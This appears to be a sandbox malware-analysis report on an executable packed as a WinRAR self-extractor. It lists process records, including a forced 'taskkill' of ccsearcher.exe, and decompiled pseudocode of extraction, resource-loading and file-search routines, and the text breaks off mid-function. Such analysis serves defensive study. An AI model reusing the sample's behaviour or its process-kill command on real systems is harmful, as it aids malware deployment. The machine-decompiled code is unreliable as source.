Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6da640000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: taskkill.exePID: 2620, Parent PID: 5292

General

Target ID:	44
Start time:	14:04:10
Start date:	02/09/2022
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /im "ccsearcher.exe" /f
Imagebase:	0x11e0000
File size:	74752 bytes
MD5 hash:	15E2E0ACD891510C6268CB8899F2A1A1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Disassembly

Reset < >

Analysis Process: 0RWCjOTmPGy8vyz30vD2T7Gp.exePID: 6368, Parent PID: 832COMMON

Execution Graph

Execution Coverage:	11.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	3.3%
Total number of Nodes:	2000
Total number of Limit Nodes:	42

Executed Functions

Function 00872EF8 Relevance: 42.2, APIs: 17, Strings: 7, Instructions: 195
filesleeptimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 17%

			E00872EF8(void* __edx, void* __ebp, void* __eflags, void* __fp0, void* _a92, void* _a94, void* _a98, void* _a100, void* _a102, void* _a104, void* _a106, void* _a108, void* _a112, void* _a152, void* _a156, void* _a204) {
				char _v208;
				void* __ebx;
				void* __edi;
				void* _t40;
				void* _t41;
				long _t50;
				void* _t53;
				intOrPtr _t57;
				struct HWND__* _t73;
				void* _t74;
				WCHAR* _t92;
				struct HINSTANCE__* _t93;
				intOrPtr _t94;
				void* _t98;
				void* _t100;
				void* _t101;
				void* _t102;
				void* _t120;

				_t120 = __fp0;
				_t86 = __edx;
				E00866B8F(__edx, 1);
				E0086F86D("C:\Users\engineer\Pictures\Minor Policy", 0x800);
				_t75 =  &_v208;
				E0086FE36( &_v208); // executed
				_t73 = 0;
				E00874BD0(0x7104, 0x8be1c8, 0, 0x7104);
				_t101 = _t100 + 0xc;
				_t92 = GetCommandLineW();
				_t105 = _t92;
				if(_t92 != 0) {
					_push(_t92);
					E00871604(0, _t105);
					if( *0x8b0a41 == 0) {
						E00872BF6(__eflags, _t92); // executed
					} else {
						_t98 = OpenFileMappingW(0xf001f, 0, L"winrarsfxmappingfile.tmp");
						if(_t98 != 0) {
							UnmapViewOfFile(_t74);
							_t73 = 0;
						}
						CloseHandle(_t98);
					}
				}
				GetModuleFileNameW(_t73, 0x8c52d8, 0x800);
				SetEnvironmentVariableW(L"sfxname", 0x8c52d8); // executed
				GetLocalTime(_t101 + 0xc);
				_push( *(_t101 + 0x1a) & 0x0000ffff);
				_push( *(_t101 + 0x1c) & 0x0000ffff);
				_push( *(_t101 + 0x1e) & 0x0000ffff);
				_push( *(_t101 + 0x20) & 0x0000ffff);
				_push( *(_t101 + 0x22) & 0x0000ffff);
				_push( *(_t101 + 0x22) & 0x0000ffff);
				E008639A9(_t101 + 0x9c, 0x32, L"%4d-%02d-%02d-%02d-%02d-%02d-%03d",  *(_t101 + 0x24) & 0x0000ffff);
				_t102 = _t101 + 0x28;
				SetEnvironmentVariableW(L"sfxstime", _t102 + 0x7c);
				_t93 = GetModuleHandleW(_t73);
				 *0x8aea24 = _t93;
				 *0x8aea20 = _t93; // executed
				_t40 = LoadIconW(_t93, 0x64); // executed
				 *0x8be1c4 = _t40; // executed
				_t41 = E0087071D(_t75, _t86, _t120); // executed
				 *0x8c52cc = _t41;
				E008640A2(0x8b2b58, _t86, 0, 0x8c52d8);
				E0086E2D4(0);
				E0086E2D4(0);
				 *0x8aea08 = _t102 + 0x5c;
				 *0x8aea0c = _t102 + 0x30; // executed
				DialogBoxParamW(_t93, L"STARTDLG", _t73, E00870830, _t73); // executed
				 *0x8aea0c = _t73;
				 *0x8aea08 = _t73;
				E0086E395(_t102 + 0x24);
				E0086E395(_t102 + 0x50);
				_t50 =  *0x8c62f0;
				if(_t50 != 0) {
					Sleep(_t50);
				}
				if( *0x8afa38 != 0) {
					E0086FF8D(0x8c52d8);
				}
				E008657DF(0x8be0c0);
				if( *0x8c62e8 > 0) {
					L00873B51( *0x8c62d8); // executed
				}
				DeleteObject( *0x8be1c4);
				_t53 =  *0x8c52cc; // 0x1f050a80
				if(_t53 != 0) {
					DeleteObject(_t53);
				}
				if( *0x8b2b44 == 0 &&  *0x8aea1c != 0) {
					E008618F4(0x8b2b44, 0xff);
				}
				_t54 =  *0x8c62f4;
				 *0x8aea1c = 1;
				if( *0x8c62f4 != 0) {
					E00872C53(_t54);
					CloseHandle( *0x8c62f4);
				}
				_t94 =  *0x8b2b44;
				if( *0x8be1c2 != 0) {
					_t57 =  *0x893608; // 0x3e8
					if( *0x8be1c3 == 0) {
						__eflags = _t57;
						if(_t57 < 0) {
							_t94 = _t94 - _t57;
							__eflags = _t94;
						}
					} else {
						_t94 =  *0x8c62ec;
						if(_t57 > 0) {
							_t94 = _t94 + _t57;
						}
					}
				}
				E0086FE9C(_t102 + 0x1c); // executed
				return _t94;
			}

0x00872ef8
0x00872ef8
0x00872f03
0x00872f12
0x00872f17
0x00872f1b
0x00872f25
0x00872f2e
0x00872f33
0x00872f3c
0x00872f3e
0x00872f40
0x00872f42
0x00872f43
0x00872f4e
0x00872fbb
0x00872f50
0x00872f63
0x00872f67
0x00872fa8
0x00872fae
0x00872fae
0x00872fb1
0x00872fb7
0x00872f4e
0x00872fcc
0x00872fd8
0x00872fe3
0x00872fee
0x00872ff4
0x00872ffa
0x00873000
0x00873006
0x0087300c
0x00873022
0x00873027
0x00873034
0x00873041
0x00873046
0x0087304c
0x00873052
0x00873058
0x0087305d
0x00873068
0x0087306d
0x00873076
0x0087307f
0x0087308f
0x0087309e
0x008730a3
0x008730ad
0x008730b3
0x008730b9
0x008730c2
0x008730c7
0x008730ce
0x008730d1
0x008730d1
0x008730de
0x008730e0
0x008730e0
0x008730ea
0x008730f6
0x008730fe
0x00873103
0x0087310a
0x00873110
0x00873117
0x0087311a
0x0087311a
0x00873127
0x0087313c
0x0087313c
0x00873141
0x00873146
0x0087314f
0x00873152
0x0087315d
0x0087315d
0x0087316a
0x00873170
0x00873179
0x0087317e
0x0087318e
0x00873190
0x00873192
0x00873192
0x00873192
0x00873180
0x00873180
0x00873188
0x0087318a
0x0087318a
0x00873188
0x0087317e
0x00873198
0x008731a8

APIs

Part of subcall function 00866B8F: GetModuleHandleW.KERNEL32(kernel32), ref: 00866BA8
Part of subcall function 00866B8F: GetProcAddress.KERNEL32(00000000,SetDllDirectoryW), ref: 00866BBA
Part of subcall function 00866B8F: GetProcAddress.KERNEL32(00000000,SetDefaultDllDirectories), ref: 00866BEB

Part of subcall function 0086F86D: GetCurrentDirectoryW.KERNEL32(?,?), ref: 0086F875

Part of subcall function 0086FE36: OleInitialize.OLE32(00000000), ref: 0086FE4F
Part of subcall function 0086FE36: GdiplusStartup.GDIPLUS(?,?,00000000), ref: 0086FE86
Part of subcall function 0086FE36: SHGetMalloc.SHELL32(008AEA00), ref: 0086FE90

GetCommandLineW.KERNEL32 ref: 00872F36
OpenFileMappingW.KERNEL32(000F001F,00000000,winrarsfxmappingfile.tmp), ref: 00872F5D
MapViewOfFile.KERNEL32(00000000,000F001F,00000000,00000000,00007104), ref: 00872F6E
UnmapViewOfFile.KERNEL32(00000000), ref: 00872FA8

Part of subcall function 00872BF6: SetEnvironmentVariableW.KERNEL32(sfxcmd,?), ref: 00872C0C
Part of subcall function 00872BF6: SetEnvironmentVariableW.KERNELBASE(sfxpar,-00000002,00000000,?,?,?,00001000), ref: 00872C48

CloseHandle.KERNEL32(00000000), ref: 00872FB1
GetModuleFileNameW.KERNEL32(00000000,C:\Users\user\Pictures\Minor Policy\0RWCjOTmPGy8vyz30vD2T7Gp.exe,00000800), ref: 00872FCC
SetEnvironmentVariableW.KERNELBASE(sfxname,C:\Users\user\Pictures\Minor Policy\0RWCjOTmPGy8vyz30vD2T7Gp.exe), ref: 00872FD8
GetLocalTime.KERNEL32(?), ref: 00872FE3
_swprintf.LIBCMT ref: 00873022
SetEnvironmentVariableW.KERNEL32(sfxstime,?), ref: 00873034
GetModuleHandleW.KERNEL32(00000000), ref: 0087303B
LoadIconW.USER32(00000000,00000064), ref: 00873052
DialogBoxParamW.USER32(00000000,STARTDLG,00000000,Function_00010830,00000000), ref: 008730A3
Sleep.KERNEL32(?), ref: 008730D1
DeleteObject.GDI32 ref: 0087310A
DeleteObject.GDI32(1F050A80), ref: 0087311A
CloseHandle.KERNEL32 ref: 0087315D

Strings

C:\Users\user\Pictures\Minor Policy\0RWCjOTmPGy8vyz30vD2T7Gp.exe, xrefs: 00872FC5, 00872FCA, 00872FD2, 00873062
%4d-%02d-%02d-%02d-%02d-%02d-%03d, xrefs: 00873013
winrarsfxmappingfile.tmp, xrefs: 00872F51
sfxname, xrefs: 00872FD3
C:\Users\user\Pictures\Minor Policy, xrefs: 00872F0D
sfxstime, xrefs: 0087302F
STARTDLG, xrefs: 00873098

Memory Dump Source

Source File: 0000000E.00000002.472630012.0000000000861000.00000020.00000001.01000000.00000009.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000E.00000002.472502125.0000000000860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473142055.0000000000888000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473282330.0000000000893000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473355190.0000000000899000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473536377.00000000008A5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473813211.00000000008C5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473853866.00000000008C8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473894427.00000000008C9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_860000_0RWCjOTmPGy8vyz30vD2T7Gp.jbxd

Similarity

API ID: EnvironmentFileHandleVariable$Module$AddressCloseDeleteObjectProcView$CommandCurrentDialogDirectoryGdiplusIconInitializeLineLoadLocalMallocMappingNameOpenParamSleepStartupTimeUnmap_swprintf
String ID: %4d-%02d-%02d-%02d-%02d-%02d-%03d$C:\Users\user\Pictures\Minor Policy$C:\Users\user\Pictures\Minor Policy\0RWCjOTmPGy8vyz30vD2T7Gp.exe$STARTDLG$sfxname$sfxstime$winrarsfxmappingfile.tmp
API String ID: 3049964643-1689447807
Opcode ID: 89914e3d0aa3d0762e0e3f789e1aa49bce2abec1c185be5fe4aaa208e6d312e9
Instruction ID: 4399c46eea3ee17057c04602a13fde44219ab10add7b44aea56c84190edc28fd
Opcode Fuzzy Hash: 89914e3d0aa3d0762e0e3f789e1aa49bce2abec1c185be5fe4aaa208e6d312e9
Instruction Fuzzy Hash: F361F431504711AFE320AB69EC49F6B77ACFB55701F408429F549D62A2EF78D948CB23

Uniqueness

Uniqueness Score: -1.00%

Function 0086F8E2 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 100
memorywindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 53%

			E0086F8E2(WCHAR* _a4) {
				char _v4;
				char _v8;
				char _v20;
				intOrPtr* _v28;
				void* __ecx;
				void* _t17;
				void* _t18;
				void* _t19;
				intOrPtr* _t27;
				char* _t34;
				void* _t36;
				void* _t38;
				intOrPtr* _t39;
				long _t44;
				intOrPtr* _t45;
				struct HRSRC__* _t46;

				_t46 = FindResourceW( *0x8aea20, _a4, "PNG");
				if(_t46 == 0) {
					L15:
					return 0;
				}
				_t44 = SizeofResource( *0x8aea20, _t46);
				if(_t44 == 0) {
					goto L15;
				}
				_t17 = LoadResource( *0x8aea20, _t46);
				if(_t17 == 0) {
					goto L15;
				}
				_t18 = LockResource(_t17);
				_t47 = _t18;
				if(_t18 == 0) {
					goto L15;
				}
				_v4 = 0;
				_t19 = GlobalAlloc(2, _t44); // executed
				_t36 = _t19;
				if(_t36 == 0) {
					L14:
					return _v4;
				}
				if(GlobalLock(_t36) == 0) {
					L13:
					GlobalFree(_t36);
					goto L14;
				}
				E00875220(_t21, _t47, _t44);
				_v8 = 0;
				_push( &_v8);
				_push(0);
				_push(_t36);
				if( *0x8c9154() == 0) {
					_t27 = E0086F846(_t25, _t38, _v20, 0); // executed
					_t39 = _v28;
					_t45 = _t27;
					 *0x88822c(_t39);
					 *((intOrPtr*)( *((intOrPtr*)( *_t39 + 8))))();
					if(_t45 != 0) {
						 *((intOrPtr*)(_t45 + 8)) = 0;
						if( *((intOrPtr*)(_t45 + 8)) == 0) {
							_push(0xffffff);
							_t34 =  &_v20;
							_push(_t34);
							_push( *((intOrPtr*)(_t45 + 4)));
							L00873A81(); // executed
							if(_t34 != 0) {
								 *((intOrPtr*)(_t45 + 8)) = _t34;
							}
						}
						 *0x88822c(1);
						 *((intOrPtr*)( *((intOrPtr*)( *_t45))))();
					}
				}
				GlobalUnlock(_t36);
				goto L13;
			}

0x0086f8fb
0x0086f8ff
0x0086f9fb
0x00000000
0x0086f9fb
0x0086f912
0x0086f916
0x00000000
0x00000000
0x0086f923
0x0086f92b
0x00000000
0x00000000
0x0086f932
0x0086f938
0x0086f93c
0x00000000
0x00000000
0x0086f949
0x0086f94d
0x0086f953
0x0086f957
0x0086f9f3
0x00000000
0x0086f9f8
0x0086f966
0x0086f9ec
0x0086f9ed
0x00000000
0x0086f9ed
0x0086f96f
0x0086f977
0x0086f97f
0x0086f980
0x0086f981
0x0086f98a
0x0086f991
0x0086f996
0x0086f99a
0x0086f9a4
0x0086f9aa
0x0086f9ae
0x0086f9b3
0x0086f9b8
0x0086f9ba
0x0086f9bf
0x0086f9c3
0x0086f9c4
0x0086f9c7
0x0086f9ce
0x0086f9d0
0x0086f9d0
0x0086f9ce
0x0086f9db
0x0086f9e3
0x0086f9e3
0x0086f9ae
0x0086f9e6
0x00000000

APIs

FindResourceW.KERNEL32(?,PNG,00000000,?,?,?,0087077D,00000066), ref: 0086F8F5
SizeofResource.KERNEL32(00000000,?,?,?,0087077D,00000066), ref: 0086F90C
LoadResource.KERNEL32(00000000,?,?,?,0087077D,00000066), ref: 0086F923
LockResource.KERNEL32(00000000,?,?,?,0087077D,00000066), ref: 0086F932
GlobalAlloc.KERNELBASE(00000002,00000000,?,?,?,?,?,0087077D,00000066), ref: 0086F94D
GlobalLock.KERNEL32 ref: 0086F95E
GlobalUnlock.KERNEL32(00000000), ref: 0086F9E6

Part of subcall function 0086F846: GdipAlloc.GDIPLUS(00000010), ref: 0086F84C

GdipCreateHBITMAPFromBitmap.GDIPLUS(?,?,00FFFFFF), ref: 0086F9C7
GlobalFree.KERNEL32 ref: 0086F9ED

Strings

PNG, xrefs: 0086F8E6

Memory Dump Source

Source File: 0000000E.00000002.472630012.0000000000861000.00000020.00000001.01000000.00000009.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000E.00000002.472502125.0000000000860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473142055.0000000000888000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473282330.0000000000893000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473355190.0000000000899000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473536377.00000000008A5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473813211.00000000008C5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473853866.00000000008C8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473894427.00000000008C9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_860000_0RWCjOTmPGy8vyz30vD2T7Gp.jbxd

Similarity

API ID: GlobalResource$AllocGdipLock$BitmapCreateFindFreeFromLoadSizeofUnlock
String ID: PNG
API String ID: 541704414-364855578
Opcode ID: 83f4a285880d24e6eca7e9c4de456a8f590e6a213cd19a92f3176611db6bc89e
Instruction ID: 6d8e1ec6fa58bf7c2e615ced8fe8f89d1e4c185a594b96e372b652a514185273
Opcode Fuzzy Hash: 83f4a285880d24e6eca7e9c4de456a8f590e6a213cd19a92f3176611db6bc89e
Instruction Fuzzy Hash: 04316D72601B12ABC3109F25EC49E2BBEA9FF45750B154A29F945D2262EF31D804CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00862AF9 Relevance: 7.6, APIs: 5, Instructions: 105
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 81%

			E00862AF9(void* _a4, WCHAR* _a8, intOrPtr _a12) {
				intOrPtr _v572;
				intOrPtr _v580;
				intOrPtr _v588;
				struct _WIN32_FIND_DATAW _v596;
				short _v4692;
				int _t44;
				int _t49;
				signed int _t61;
				signed int _t62;
				void* _t63;
				long _t66;
				void* _t69;
				signed int _t78;
				void* _t79;
				intOrPtr _t80;
				void* _t81;

				E00873AC0(0x1250);
				_t81 = _a4;
				_t79 = _t78 | 0xffffffff;
				_push( &_v596);
				if(_t81 != _t79) {
					_t44 = FindNextFileW(_t81, ??);
					__eflags = _t44;
					if(_t44 != 0) {
						L12:
						_t80 = _a12;
						E008668CD(_t80, _a8, 0x800);
						_push(0x800);
						E00863942(__eflags, _t80,  &(_v596.cFileName));
						_t49 = 0 + _v596.nFileSizeLow;
						__eflags = _t49;
						 *(_t80 + 0x1000) = _t49;
						asm("adc ecx, 0x0");
						 *(_t80 + 0x1008) = _v596.dwFileAttributes;
						 *((intOrPtr*)(_t80 + 0x1004)) = _v596.nFileSizeHigh;
						 *((intOrPtr*)(_t80 + 0x1028)) = _v596.ftCreationTime;
						 *((intOrPtr*)(_t80 + 0x102c)) = _v588;
						 *((intOrPtr*)(_t80 + 0x1030)) = _v596.ftLastAccessTime;
						 *((intOrPtr*)(_t80 + 0x1034)) = _v580;
						 *((intOrPtr*)(_t80 + 0x1038)) = _v596.ftLastWriteTime;
						 *((intOrPtr*)(_t80 + 0x103c)) = _v572;
						E00867358(_t80 + 0x1010,  &(_v596.ftLastWriteTime));
						E00867358(_t80 + 0x1018,  &(_v596.ftCreationTime));
						E00867358(_t80 + 0x1020,  &(_v596.ftLastAccessTime));
						L13:
						 *(_t80 + 0x1040) =  *(_t80 + 0x1040) & 0x00000000;
						return _t81;
					}
					_t81 = _t79;
					_t61 = GetLastError();
					__eflags = _t61 - 0x12;
					_t62 = _t61 & 0xffffff00 | _t61 != 0x00000012;
					L9:
					_t80 = _a12;
					 *(_t80 + 0x1044) = _t62;
					goto L13;
				}
				_t63 = FindFirstFileW(_a8, ??); // executed
				_t81 = _t63;
				if(_t81 != _t79) {
					goto L12;
				}
				if(E00863553(_a8,  &_v4692, 0x800) == 0) {
					L4:
					_t66 = GetLastError();
					if(_t66 == 2 || _t66 == 3 || _t66 == 0x12) {
						_t62 = 0;
						__eflags = 0;
					} else {
						_t62 = 1;
					}
					goto L9;
				}
				_t69 = FindFirstFileW( &_v4692,  &_v596); // executed
				_t81 = _t69;
				if(_t81 != _t79) {
					goto L12;
				}
				goto L4;
			}

0x00862b01
0x00862b08
0x00862b12
0x00862b1a
0x00862b1d
0x00862b86
0x00862b8c
0x00862b8e
0x00862ba0
0x00862ba0
0x00862ba8
0x00862bad
0x00862bb6
0x00862bc3
0x00862bc3
0x00862bc9
0x00862bd5
0x00862bd8
0x00862be4
0x00862bf0
0x00862bfc
0x00862c08
0x00862c14
0x00862c20
0x00862c2c
0x00862c39
0x00862c4b
0x00862c5d
0x00862c62
0x00862c62
0x00862c6f
0x00862c6f
0x00862b90
0x00862b92
0x00862b98
0x00862b9b
0x00862b77
0x00862b77
0x00862b7a
0x00000000
0x00862b7a
0x00862b22
0x00862b28
0x00862b2c
0x00000000
0x00000000
0x00862b40
0x00862b5c
0x00862b5c
0x00862b65
0x00862b75
0x00862b75
0x00862b71
0x00862b71
0x00862b71
0x00000000
0x00862b65
0x00862b50
0x00862b56
0x00862b5a
0x00000000
0x00000000
0x00000000

APIs

FindFirstFileW.KERNELBASE(?,?), ref: 00862B22

Part of subcall function 00863553: _wcslen.LIBCMT ref: 00863577

FindFirstFileW.KERNELBASE(?,?,?,?,00000800), ref: 00862B50
GetLastError.KERNEL32(?,?,00000800), ref: 00862B5C
FindNextFileW.KERNEL32(?,?), ref: 00862B86
GetLastError.KERNEL32 ref: 00862B92

Memory Dump Source

Source File: 0000000E.00000002.472630012.0000000000861000.00000020.00000001.01000000.00000009.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000E.00000002.472502125.0000000000860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473142055.0000000000888000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473282330.0000000000893000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473355190.0000000000899000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473536377.00000000008A5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473813211.00000000008C5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473853866.00000000008C8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473894427.00000000008C9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_860000_0RWCjOTmPGy8vyz30vD2T7Gp.jbxd

Similarity

API ID: FileFind$ErrorFirstLast$Next_wcslen
String ID:
API String ID: 42610566-0
Opcode ID: dbfd03988c49dbcc7bb346860ffd0b93f233a8fd2bbd0dad826afd86dbc81ba0
Instruction ID: 960aeb6b064661cd6a4fb83d40a6c4e4f80c035893086e79f917420a490378fa
Opcode Fuzzy Hash: dbfd03988c49dbcc7bb346860ffd0b93f233a8fd2bbd0dad826afd86dbc81ba0
Instruction Fuzzy Hash: 6B418271500955EBCB25DF68CC84BE9B378FB48360F154596E95DE3200D734AE94CF90

Uniqueness

Uniqueness Score: -1.00%

Function 0087C733 Relevance: 4.5, APIs: 3, Instructions: 20
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E0087C733(int _a4) {
				void* _t14;
				void* _t15;
				void* _t17;
				void* _t18;
				void* _t19;

				if(E0087F9F6(_t14, _t15, _t17, _t18, _t19) != 0 && ( *( *[fs:0x30] + 0x68) >> 0x00000008 & 0x00000001) == 0) {
					TerminateProcess(GetCurrentProcess(), _a4);
				}
				E0087C7B8(_t15, _a4);
				ExitProcess(_a4);
			}

0x0087c73f
0x0087c75b
0x0087c75b
0x0087c764
0x0087c76d

APIs

GetCurrentProcess.KERNEL32(00000003,?,0087C709,00000003,00890A08,0000000C,0087C860,00000003,00000002,00000000,?,0087D6F2,00000003), ref: 0087C754
TerminateProcess.KERNEL32(00000000,?,0087C709,00000003,00890A08,0000000C,0087C860,00000003,00000002,00000000,?,0087D6F2,00000003), ref: 0087C75B
ExitProcess.KERNEL32 ref: 0087C76D

Memory Dump Source

Source File: 0000000E.00000002.472630012.0000000000861000.00000020.00000001.01000000.00000009.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000E.00000002.472502125.0000000000860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473142055.0000000000888000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473282330.0000000000893000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473355190.0000000000899000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473536377.00000000008A5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473813211.00000000008C5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473853866.00000000008C8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473894427.00000000008C9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_860000_0RWCjOTmPGy8vyz30vD2T7Gp.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 202d300e8ca0d0515f83311fbf3bee726ad39b6993ec1414ebff512cb66a7718
Instruction ID: c4d078049b0d2a8d7803991aa149dca323c0f5d2e9a01dce37fa78b44a8e7a10
Opcode Fuzzy Hash: 202d300e8ca0d0515f83311fbf3bee726ad39b6993ec1414ebff512cb66a7718
Instruction Fuzzy Hash: 5FE0B635000608EBCF156F6CDE4DA593F69FB55B81F908018FA099B126CF35DD52CB51

Uniqueness

Uniqueness Score: -1.00%

Function 0086A825 Relevance: 1.6, Strings: 1, Instructions: 357
COMMONCrypto

Download Yara Rule

C-Code - Quality: 86%

			E0086A825(signed int* _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr* _a24, signed int* _a28) {
				char _v1152;
				signed int _v1216;
				signed int _v1280;
				signed int _v1284;
				signed int _v1348;
				signed int _v1352;
				char _v1420;
				intOrPtr _v1424;
				signed int _v1428;
				signed int* _v1432;
				signed int _v1436;
				intOrPtr* _v1440;
				signed int _v1444;
				signed int _v1448;
				signed int _v1452;
				signed int _v1456;
				signed int _v1460;
				char _v1463;
				char _v1464;
				signed int _v1468;
				signed int _v1472;
				signed int _v1476;
				signed int _v1480;
				void* _v1484;
				signed int _v1488;
				void* __edi;
				signed int _t213;
				signed int* _t214;
				void* _t215;
				signed int _t217;
				signed int _t220;
				intOrPtr* _t228;
				signed int _t229;
				signed int _t238;
				signed int _t242;
				signed int _t245;
				signed int _t247;
				signed int _t261;
				signed int _t264;
				void* _t266;
				intOrPtr _t267;
				signed int* _t270;
				intOrPtr _t275;
				signed int _t278;
				void* _t280;
				signed int* _t285;
				signed int _t286;
				signed int _t288;
				signed int _t289;
				signed int _t290;
				signed int* _t292;
				signed int _t293;
				signed int _t294;
				intOrPtr _t295;
				intOrPtr _t296;
				intOrPtr* _t300;
				intOrPtr _t301;
				signed int _t302;
				signed int _t307;
				signed int _t311;
				signed int _t313;
				signed int _t317;
				intOrPtr* _t322;
				signed int _t324;
				intOrPtr _t325;
				intOrPtr _t326;
				signed int _t327;
				signed int _t328;
				signed int _t329;
				signed int _t335;
				signed int _t338;
				void* _t339;
				intOrPtr _t340;
				signed int _t341;
				void* _t342;
				signed int _t343;
				signed int _t344;
				signed int _t345;
				signed int _t348;
				intOrPtr _t349;
				void* _t350;
				void* _t351;
				intOrPtr _t352;
				signed int _t354;
				char _t355;
				signed int* _t357;
				signed int* _t358;
				signed int* _t359;

				_t357 =  &_v1488;
				_t285 = _a4;
				_t352 = _a8;
				_t341 = 0x10;
				if(_t352 <= 0x100) {
					_v1436 = _t341;
				} else {
					_v1436 = _t285[0x100];
				}
				E00874BD0(0,  &_v1420, 0, 0x44);
				_t358 =  &(_t357[3]);
				_t292 = _t285;
				_t325 = _t352;
				do {
					_t213 =  *_t292;
					_t292 =  &(_t292[1]);
					 *((intOrPtr*)(_t358 + 0x54 + _t213 * 4)) =  *((intOrPtr*)(_t358 + 0x54 + _t213 * 4)) + 1;
					_t325 = _t325 - 1;
				} while (_t325 != 0);
				if(_v1420 != _t352) {
					_t354 = 1;
					_t293 = 1;
					while( *((intOrPtr*)(_t358 + 0x54 + _t293 * 4)) == 0) {
						_t293 = _t293 + 1;
						if(_t293 <= _t341) {
							continue;
						}
						break;
					}
					_t214 = _a28;
					_v1468 = _t293;
					if( *_t214 < _t293) {
						 *_t214 = _t293;
					}
					while( *((intOrPtr*)(_t358 + 0x54 + _t341 * 4)) == 0) {
						_t341 = _t341 - 1;
						if(_t341 != 0) {
							continue;
						}
						break;
					}
					_v1452 = _t341;
					if( *_t214 > _t341) {
						 *_t214 = _t341;
					}
					_t338 = _t354 << _t293;
					while(_t293 < _t341) {
						_t339 = _t338 -  *((intOrPtr*)(_t358 + 0x54 + _t293 * 4));
						if(_t339 < 0) {
							L21:
							_push(2);
							L22:
							_pop(_t215);
							return _t215;
						}
						_t293 = _t293 + 1;
						_t338 = _t339 + _t339;
					}
					_t294 = _t338;
					_t217 = _t341 << 2;
					_v1448 = _t217;
					_t340 = _t338 -  *(_t358 + _t217 + 0x54);
					_v1424 = _t340;
					if(_t340 >= 0) {
						 *(_t358 + _t217 + 0x54) = _t294;
						_t295 = 0;
						_v1348 = _v1348 & 0;
						_t342 = _t341 - 1;
						if(_t342 == 0) {
							L26:
							E00874BD0(_t340,  &_v1152, 0, 0x480);
							_t326 = _a8;
							_t359 =  &(_t358[3]);
							_t296 = 0;
							do {
								_t343 =  *_t285;
								_t285 =  &(_t285[1]);
								if(_t343 != 0) {
									_t220 =  *(_t359 + 0x98 + _t343 * 4);
									 *((intOrPtr*)(_t359 + 0x160 + _t220 * 4)) = _t296;
									 *(_t359 + 0x98 + _t343 * 4) = _t220 + 1;
								}
								_t296 = _t296 + 1;
							} while (_t296 < _t326);
							_t286 = _v1468;
							_t344 = _t343 | 0xffffffff;
							_v1484 =  &_v1152;
							_v1456 = _t344;
							_v1428 =  *((intOrPtr*)(_t359 + _v1448 + 0x98));
							_t327 = 0;
							_v1488 = 0;
							_v1352 = 0;
							_v1284 = 0;
							_v1472 = 0;
							_v1216 = 0;
							_v1444 = 0;
							_v1480 = 0;
							if(_t286 > _v1452) {
								L69:
								 *_a28 = _v1280;
